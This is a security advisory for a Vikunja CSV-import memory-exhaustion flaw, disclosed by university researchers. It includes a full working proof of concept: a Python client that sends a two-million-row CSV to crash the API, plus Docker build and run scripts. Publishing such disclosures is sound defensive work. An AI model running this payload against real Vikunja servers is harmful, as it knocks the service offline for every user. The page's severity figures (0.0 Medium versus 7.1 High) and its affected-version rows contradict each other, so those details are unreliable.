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GHSA-pqf9-h8g4-8gmh CVE-2026-91969 GO-2026-6746

Vikunja: Unbounded CSV row cardinality permits API process termination

Medium Go
Severity
0.0 / 10
Medium · CVSS 4.0
Exploit chance (EPSS)
0.38%
Chance of exploitation in the next 30 days. Higher than 31.82% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-400 Uncontrolled Resource Consumption
Fix
2.6.0
Upgrade code.vikunja.io/api to this version or later

Description

Unbounded CSV row cardinality permits API process termination

Summary

The authenticated v2 CSV migration route caps upload bytes but not parsed row cardinality. It reads every record into a [][]string and then materializes a full task object for every row before insertion. Two million one-cell rows fit in a roughly 4 MB multipart request yet exhaust a 512 MiB API process.

Impact and affected scope

  • Type: Resource Exhaustion Csv Import
  • Affected component: POST /api/v2/migration/csv/migrate
  • Preconditions: An ordinary authenticated user supplies a multipart CSV containing a very large number of tiny records plus a valid mapping configuration.
  • Verified revision: 349cd5adbcc831ef08b08e6c9c6d627603c39606 on 28 August 2026
  • Affected release range: = 2.5.0; broader historical range not established and maintainer confirmation requested

A low-privileged remote user can terminate the API process and deny service to all users with a request far below the configured upload-byte limit.

Technical details

csv.Reader.ReadAll retains every row, after which convertToVikunja allocates a task structure for each row; the existing upload-byte cap does not constrain this cardinality amplification.

Attack path: Authenticate, upload two million one-cell records to the synchronous CSV migrate route with a valid ignore mapping, and exhaust process memory while parsing and materializing rows.

Relevant code:

  • pkg/routes/api/v2/migration_csv.go:96
  • pkg/routes/api/v2/migration_csv.go:164
  • pkg/modules/migration/csv/csv.go:281
  • pkg/modules/migration/csv/csv.go:298
  • pkg/modules/migration/csv/csv.go:590
  • pkg/modules/migration/csv/csv.go:605
  • pkg/modules/migration/csv/csv.go:627
  • pkg/modules/migration/csv/csv.go:643
  • pkg/modules/migration/csv/csv.go:655

Reproduction

Run this only against an authorized disposable environment. The complete verified minimum file set is reproduced below. It starts the isolated target, runs the security-relevant trigger, verifies an objective target/application signal, and exercises the available negative or sibling control.

Create reproduction/Dockerfile:

FROM golang:1.27.0-alpine

RUN apk add --no-cache bash build-base ca-certificates python3 tzdata

WORKDIR /app
COPY . /app
RUN chmod +x /app/*.sh 2>/dev/null || true

# Target source is supplied only at runtime through /target-repo:ro.
# This image contains build dependencies and reproduction helpers, not a clone.

Create reproduction/client.py:

#!/usr/bin/env python3
import json
import sys
import time
import urllib.error
import urllib.request
import uuid


BASE = "http://target:3456"


def json_request(method, path, body=None, token=None, expected=None):
    raw = None if body is None else json.dumps(body).encode()
    headers = {"Accept": "application/json"}
    if body is not None:
        headers["Content-Type"] = "application/json"
    if token:
        headers["Authorization"] = "Bearer " + token
    req = urllib.request.Request(BASE + path, data=raw, headers=headers, method=method)
    try:
        with urllib.request.urlopen(req, timeout=30) as response:
            status, data = response.status, response.read()
    except urllib.error.HTTPError as exc:
        status, data = exc.code, exc.read()
    print(f"{method} {path} -> {status} {data[:250].decode(errors='replace')}", flush=True)
    if expected is not None and status != expected:
        raise RuntimeError(f"{method} {path}: got {status}, expected {expected}")
    return status, json.loads(data.decode()) if data else {}


def wait_ready():
    for _ in range(240):
        try:
            if json_request("GET", "/api/v1/info")[0] == 200:
                return
        except Exception:
            pass
        time.sleep(0.25)
    raise RuntimeError("target did not become ready")


def register_and_login(username):
    password = "PoC-password-123!"
    json_request("POST", "/api/v2/register", {
        "username": username,
        "email": username + "@example.invalid",
        "password": password,
    }, expected=201)
    _, login = json_request("POST", "/api/v2/login", {"username": username, "password": password}, expected=200)
    return login["token"]


def migrate(token, csv_data, config, expect_response):
    boundary = "----PoC-" + uuid.uuid4().hex
    body = (
        f"--{boundary}\r\nContent-Disposition: form-data; name=\"config\"\r\n\r\n{config}\r\n".encode()
        + f"--{boundary}\r\nContent-Disposition: form-data; name=\"import\"; filename=\"fixture.csv\"\r\nContent-Type: text/csv\r\n\r\n".encode()
        + csv_data
        + f"\r\n--{boundary}--\r\n".encode()
    )
    print(f"PoC_CSV_REQUEST rows={csv_data.count(bytes([10]))} request_bytes={len(body)}", flush=True)
    req = urllib.request.Request(
        BASE + "/api/v2/migration/csv/migrate",
        data=body,
        headers={"Authorization": "Bearer " + token, "Content-Type": "multipart/form-data; boundary=" + boundary},
        method="POST",
    )
    try:
        with urllib.request.urlopen(req, timeout=90) as response:
            status, data = response.status, response.read()
        print(f"POST migrate -> {status} {data[:200]!r}", flush=True)
        if expect_response and status != 200:
            raise RuntimeError(f"control returned {status}, expected 200")
        if not expect_response:
            raise RuntimeError(f"attack unexpectedly returned HTTP {status}")
    except urllib.error.HTTPError as exc:
        data = exc.read()
        print(f"POST migrate -> HTTP {exc.code} {data[:200]!r}", flush=True)
        if expect_response:
            raise
        raise RuntimeError(f"attack was rejected with HTTP {exc.code}; process did not terminate")
    except (TimeoutError, ConnectionError, urllib.error.URLError, OSError) as exc:
        if expect_response:
            raise
        print(f"PoC_CSV_ATTACK_DISCONNECTED error={type(exc).__name__}", flush=True)


def main():
    wait_ready()
    control_token = register_and_login("PoC-csv-control")
    control_config = json.dumps({"delimiter": ",", "mapping": [{"column_index": 0, "attribute": "title"}]})
    migrate(control_token, b"Title\ncontrol task\n", control_config, True)
    json_request("GET", "/api/v1/info", expected=200)
    print("PoC_CSV_CONTROL=PASS", flush=True)

    attack_token = register_and_login("PoC-csv-attack")
    attack_config = json.dumps({"delimiter": ",", "mapping": [{"column_index": 0, "attribute": "ignore"}]})
    migrate(attack_token, b"x\n" * 2_000_000, attack_config, False)
    print("PoC_CSV_ATTACK_SENT rows=2000000", flush=True)


if __name__ == "__main__":
    try:
        main()
    except Exception as exc:
        print(f"PoC_CSV_CLIENT=FAIL {exc}", file=sys.stderr, flush=True)
        raise

Create reproduction/prepare.sh:

#!/usr/bin/env bash
set -euo pipefail

mkdir -p /work/repo
cp -a /target-repo/. /work/repo/
mkdir -p /work/repo/frontend/dist
cp /app/frontend-placeholder.html /work/repo/frontend/dist/index.html

cd /work/repo
CGO_ENABLED=1 go build \
  -tags osusergo \
  -ldflags '-s -w -X code.vikunja.io/api/pkg/version.Version=PoC-reproduction' \
  -o /output/vikunja .
chmod 0755 /output/vikunja

if [[ -f /app/probe.go ]]; then
  go build -o /output/probe /app/probe.go
  chmod 0755 /output/probe
fi

Create reproduction/run.sh:

#!/usr/bin/env bash
set -euo pipefail

SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
FINDING_DIR="$(cd "${SCRIPT_DIR}/.." && pwd)"
SESSION_DIR="$(cd "${FINDING_DIR}/.." && pwd)"
CASE_ID="$(basename "${SESSION_DIR}")"
FINDING_NAME="$(basename "${FINDING_DIR}")"
IMAGE_TAG="PoC-${CASE_ID}-${FINDING_NAME}"
TARGET_REPO_URL="https://github.com/go-vikunja/vikunja.git"
TARGET_REF="349cd5adbcc831ef08b08e6c9c6d627603c39606"
WORKDIR="$(mktemp -d "${SESSION_DIR}/.PoC-reproduction.XXXXXX")"
TARGET_REPO_DIR="${WORKDIR}/repo"
BUILD_DIR="${WORKDIR}/build"
DATA_DIR="${WORKDIR}/data"
NETWORK="${IMAGE_TAG}-net-$$"
TARGET_CONTAINER="${IMAGE_TAG}-target-$$"

cleanup() {
  docker rm -f "${TARGET_CONTAINER}" >/dev/null 2>&1 || true
  docker network rm "${NETWORK}" >/dev/null 2>&1 || true
  rm -rf "${WORKDIR}"
}
trap cleanup EXIT

mkdir -p "${BUILD_DIR}" "${DATA_DIR}/files"
chmod 0777 "${BUILD_DIR}" "${DATA_DIR}" "${DATA_DIR}/files"
echo "[PoC] cloning and pinning target ${TARGET_REF}"
git clone --filter=blob:none --no-checkout "${TARGET_REPO_URL}" "${TARGET_REPO_DIR}"
git -C "${TARGET_REPO_DIR}" checkout --detach "${TARGET_REF}"
echo "[PoC] building helper image ${IMAGE_TAG}"
docker build -t "${IMAGE_TAG}" "${SCRIPT_DIR}"
docker run --rm -v "${TARGET_REPO_DIR}:/target-repo:ro" -v "${BUILD_DIR}:/output" "${IMAGE_TAG}" /app/prepare.sh
docker network create "${NETWORK}" >/dev/null
docker run --detach --name "${TARGET_CONTAINER}" \
  --network "${NETWORK}" --network-alias target \
  --memory 512m --memory-swap 512m --pids-limit 256 \
  -v "${BUILD_DIR}/vikunja:/app/vikunja:ro" --tmpfs /data:rw,exec,mode=1777 \
  -e VIKUNJA_SERVICE_INTERFACE=:3456 -e VIKUNJA_SERVICE_PUBLICURL=http://target:3456/ \
  -e VIKUNJA_SERVICE_ROOTPATH=/data -e VIKUNJA_SERVICE_JWTSECRET=PoC-reproduction-secret \
  -e VIKUNJA_SERVICE_ENABLEREGISTRATION=true -e VIKUNJA_DATABASE_TYPE=sqlite \
  -e VIKUNJA_DATABASE_PATH=/data/vikunja.db -e VIKUNJA_FILES_BASEPATH=/data/files \
  -e VIKUNJA_MAILER_ENABLED=false -e VIKUNJA_REDIS_ENABLED=false -e VIKUNJA_LOG_HTTP=off \
  -e VIKUNJA_RATELIMIT_NOAUTHLIMIT=1000 \
  "${IMAGE_TAG}" /app/vikunja web >/dev/null

set +e
OUTPUT="$(docker run --rm --network "${NETWORK}" "${IMAGE_TAG}" python3 /app/client.py 2>&1)"
CLIENT_STATUS=$?
set -e
printf '%s\n' "${OUTPUT}"
for _ in $(seq 1 80); do
  STATE="$(docker inspect --format '{{.State.OOMKilled}} {{.State.ExitCode}} {{.State.Running}}' "${TARGET_CONTAINER}")"
  [[ "${STATE}" != "false 0 true" ]] && break
  sleep 0.25
done
STATE="$(docker inspect --format '{{.State.OOMKilled}} {{.State.ExitCode}} {{.State.Running}}' "${TARGET_CONTAINER}")"
echo "PoC_CSV_CONTAINER state=${STATE} client_status=${CLIENT_STATUS}"
if ! grep -q 'PoC_CSV_CONTROL=PASS' <<<"${OUTPUT}" || ! grep -q 'PoC_CSV_ATTACK_SENT rows=2000000' <<<"${OUTPUT}" || [[ "${STATE}" != "true 137 false" ]]; then
  echo "[PoC] FAIL: CSV cardinality payload did not produce the expected cgroup OOM termination" >&2
  exit 1
fi
echo "PoC_CSV_CARDINALITY=PASS rows=2000000 request_bytes_under_5MiB OOMKilled=true ExitCode=137"
echo "[PoC] SUCCESS: a low-privileged CSV import terminated a 512 MiB API process"

Create reproduction/frontend-placeholder.html:

<!doctype html><title>PoC backend reproduction placeholder</title>

From the directory containing these files, run:

chmod +x reproduction/run.sh reproduction/*.sh 2>/dev/null || true
./reproduction/run.sh

Expected: A low-privileged CSV migration request terminates the API process through parsed-row and task-materialization amplification.

Observed: The normal import control returned HTTP 200. The 4,000,371-byte, two-million-row attack request disconnected, and Docker recorded OOMKilled=true, ExitCode=137. The run emitted PoC_CSV_CARDINALITY=PASS.

Verification and controls: The client uses independent ordinary users for the success control and attack, sends the real multipart migration format, and the host script requires the control marker, attack marker, and Docker OOMKilled=true with ExitCode=137.

Observed evidence:

  • Normal CSV migrate control: HTTP 200
  • Attack: rows=2000000, request_bytes=4000371, RemoteDisconnected
  • target container: OOMKilled=true, ExitCode=137
  • PoC_CSV_CARDINALITY=PASS

Suggested remediation

Enforce the intended authorization, size, cardinality, recursion, or lifecycle boundary before the sensitive operation described above; fail closed; release partial resources on every exit path; and add a regression test that preserves the exploit and negative-control oracles.

Severity

CVSS v4.0: 7.1 (High) — Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

This assessment is preliminary and pending maintainer confirmation. The score was recalculated with the FIRST CVSS v4.0 reference implementation on 28 August 2026.

Disclosure context and attribution

AI-assisted analysis helped surface this issue; the behavior was independently reproduced and validated in an isolated environment.

Reported by the University of Sydney security research team:

We are happy to answer questions, provide additional verification details, or validate a candidate patch.

Affected versions

Go

PackageVulnerableFixed in
code.vikunja.io/api
>= 2.5.0, < 2.6.0
2.6.0
code.vikunja.io/api
all versions
No fix yet

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

code.vikunja.io/api Go → 2.6.0

go
go get code.vikunja.io/api@v2.6.0 && go mod tidy

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
Low
User interaction
None
Confidentiality (vulnerable system)
None
Integrity (vulnerable system)
None
Availability (vulnerable system)
High
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None

CVSS 3.1 6.5

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Weakness

CWE-400: Uncontrolled Resource Consumption

The product does not properly control the allocation and maintenance of a limited resource.

How to prevent it
  • Architecture and Design: Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
  • Architecture and Design: Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, or uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
  • Architecture and Design: Ensure that protocols have specific limits of scale placed on them.
  • Implementation: Ensure that all failures in resource allocation place the system into a safe posture.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-m687-p538-r5hp
Vikunja: Permissive Cross-domain Security Policy trusts every localhost origin which should not be trusted
Medium Also affects code.vikunja.io/api
GHSA-fmmf-xq98-g327
Vikunja: Write-level project members can delete admin-tier link shares through an unloaded permission check
Medium Also affects code.vikunja.io/api
GHSA-pjr3-86v4-5p7w
Vikunja: Explicit lower-permission share on a sub-project is silently overridden by an inherited parent permission (broken access control / privilege-management regression in v2.6.0)
Medium Also affects code.vikunja.io/api
GHSA-hjx8-qv73-f7cm
Vikunja: Webhooks and link shares survive every revocation path, so a removed collaborator keeps a live feed
High Also affects code.vikunja.io/api
GHSA-fprf-r6rv-xg99
Vikunja: Saved filter creation with an empty filter string recalculates task positions across all tenants
Medium Also affects code.vikunja.io/api
GHSA-4hv6-xc92-j86g
Vikunja: WebSocket authentication ignores server-side session state, so revoked sessions keep receiving live pushes
High Also affects code.vikunja.io/api
GHSA-w2ch-4xgr-22ww
Vikunja: Task relation deletion does not check read access to the other task, allowing cross-project relation removal
Low Also affects code.vikunja.io/api
GHSA-8wvg-r2j4-3737
Vikunja: Assignee email addresses disclosed to read-only project members via the task assignees endpoint
Medium Also affects code.vikunja.io/api
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